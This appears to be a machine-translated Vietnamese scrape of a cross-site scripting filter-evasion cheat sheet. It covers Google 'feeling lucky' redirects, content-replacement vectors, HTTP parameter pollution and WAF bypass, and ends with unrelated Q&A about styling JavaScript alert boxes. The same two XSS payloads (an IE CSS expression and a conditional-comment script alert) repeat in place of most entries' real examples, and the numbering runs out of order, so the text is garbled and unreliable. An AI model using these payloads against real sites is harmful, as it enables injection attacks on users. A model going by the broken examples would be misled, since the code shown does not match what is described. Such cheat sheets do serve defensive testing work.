83Google "cảm thấy may mắn" phần 1Firefox sử dụng chức năng "cảm thấy may mắn" của Google để chuyển hướng người dùng đến bất kỳ từ khóa nào bạn nhập vào. Vì vậy, nếu trang có thể khai thác của bạn đứng đầu đối với một số từ khóa ngẫu nhiên (như bạn thấy ở đây), bạn có thể sử dụng tính năng đó đối với bất kỳ người dùng Firefox nào. Điều này sử dụng giao thức exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
84 của Firefox. Bạn có thể nối một số từ khóa bằng cách sử dụng một cái gì đó như sau exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
85 chẳng hạn. Điều này không còn hoạt động trong Firefox kể từ 2. 0exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
86Google "cảm thấy may mắn" phần 2Điều này sử dụng một thủ thuật rất nhỏ dường như chỉ hoạt động với Firefox, vì nó thực hiện chức năng "cảm thấy may mắn". Không giống như cái tiếp theo, cái này không hoạt động trong Opera vì Opera tin rằng đây là cuộc tấn công lừa đảo HTTP Basic Auth cũ, mà nó không phải là. Nó chỉ đơn giản là một URL không đúng định dạng. Nếu bạn bấm OK vào hộp thoại, nó sẽ hoạt động, nhưng do hộp thoại bị lỗi, tôi đang nói rằng điều này không được hỗ trợ trong Opera và nó không còn được hỗ trợ trong Firefox kể từ 2. 0 exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
87Google "cảm thấy may mắn" phần 3Điều này sử dụng một URL không đúng định dạng dường như chỉ hoạt động trong Firefox và Opera do chúng triển khai chức năng "cảm thấy may mắn". Giống như tất cả những điều trên, nó yêu cầu bạn phải là số 1 trên Google cho từ khóa được đề cập (trong trường hợp này là "google") exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
88Xóa CNAMEKhi được kết hợp với URL ở trên, việc xóa exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
89 sẽ tiết kiệm thêm 4 byte để tiết kiệm tổng cộng 9 byte cho các máy chủ đã thiết lập đúng cách này)exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
90Dấu chấm bổ sung cho DNS tuyệt đối exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
91Vị trí liên kết JavaScriptexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
92Thay thế nội dung dưới dạng vectơ tấn côngGiả sử exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
71 được thay thế theo chương trình không có gì). Tôi thực sự đã sử dụng một vectơ tấn công tương tự chống lại một số bộ lọc XSS trong thế giới thực riêng biệt bằng cách sử dụng chính bộ lọc chuyển đổi (đây là một ví dụ) để giúp tạo vectơ tấn công (IE. exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
94 đã được chuyển đổi thành exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
95, kết xuất trong IE, Netscape 8. 1+ ở chế độ trang web an toàn và Opera)exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
96Hỗ trợ XSS với ô nhiễm thông số HTTPGiả sử luồng chia sẻ nội dung trên một trang web được triển khai như hình bên dưới. Có một trang "Nội dung" bao gồm một số nội dung do người dùng cung cấp và trang này cũng bao gồm một liên kết đến trang "Chia sẻ" cho phép người dùng chọn nền tảng chia sẻ xã hội yêu thích của họ để chia sẻ nó trên đó. Các nhà phát triển HTML đã mã hóa tham số "tiêu đề" trong trang "Nội dung" để ngăn chặn XSS nhưng vì một số lý do, họ đã không URL mã hóa tham số này để ngăn ngừa ô nhiễm tham số HTTP. Cuối cùng, họ quyết định rằng vì giá trị của content_type là một hằng số và sẽ luôn là số nguyên nên họ đã không mã hóa hoặc xác thực content_type trong trang "Chia sẻ" Mã nguồn trang nội dungexp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
97Chia sẻ mã nguồn trangSet.constructor`alert\x28document.domain\x29
0Đầu ra trang nội dungTrong trường hợp này nếu kẻ tấn công đặt tiêu đề nội dung không đáng tin cậy là “Đây là tiêu đề thông thường&content_type=1;alert(1)” thì liên kết trong trang "Nội dung" sẽ là thế này exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
98Chia sẻ đầu ra trangVà trong đầu ra trang chia sẻ có thể là thế này Set.constructor`alert\x28document.domain\x29
1Do đó, trong ví dụ này, lỗ hổng chính là tin cậy vào content_type trong trang "Chia sẻ" mà không có mã hóa hoặc xác thực phù hợp. Ô nhiễm tham số HTTP có thể làm tăng tác động của lỗ hổng XSS bằng cách thúc đẩy nó từ XSS được phản ánh sang XSS được lưu trữ Trình tự thoát nhân vậtTất cả các kết hợp có thể có của ký tự "\<" trong HTML và JavaScript. Hầu hết trong số này sẽ không hiển thị ngay lập tức, nhưng nhiều trong số chúng có thể được hiển thị trong một số trường hợp nhất định như đã thấy ở trên exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
99<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
00<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
01<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
02<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
03<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
04<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
05<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
06<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
07<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
08<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
09<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
10<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
05<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
06<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
07<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
08<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
09<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
10<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
17<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
18<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
19<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
20<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
21<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
22<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
17<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
18<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
19<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
20<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
21<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
22<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
29<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
30<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
31<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
32<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
33<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
34<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
29<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
30<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
31<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
32<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
33<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
34<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
41<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
42<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
43<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
44<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
45<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
46<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
41<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
42<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
43<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
44<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
45<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
46<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
53<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
54<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
55<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
56<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
57<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
58<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
53<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
54<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
55<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
56<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
57<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
58<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
65<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
66<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
67<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
68
Các phương pháp bỏ qua WAF – Cross-Site ScriptingCác vấn đề chungXSS được lưu trữNếu kẻ tấn công quản lý để đẩy XSS qua bộ lọc, WAF sẽ không thể ngăn chặn quá trình tấn công
Bạn có thể tùy chỉnh JavaScript cảnh báo không?
Hộp cảnh báo tiêu chuẩn trong JavaScript không cung cấp tùy chọn áp dụng CSS. Để tạo kiểu cho hộp cảnh báo của mình, trước tiên bạn cần tạo một hộp tùy chỉnh . Hộp cảnh báo tùy chỉnh sẽ được tạo bằng jQuery và các kiểu sẽ được áp dụng cho CSS.
Bạn có thể đặt hình ảnh trong JavaScript không?
Làm cách nào để nhắc hình ảnh trong JavaScript?
Không, không thể . Cửa sổ. cuộc gọi prompt() chỉ chấp nhận kiểu nhập văn bản.
Bạn có thể đặt HTML trong hộp cảnh báo không?
Bạn có thể thêm HTML vào chuỗi cảnh báo, nhưng nó sẽ không hiển thị dưới dạng HTML . Nó sẽ chỉ được hiển thị dưới dạng một chuỗi đơn giản. |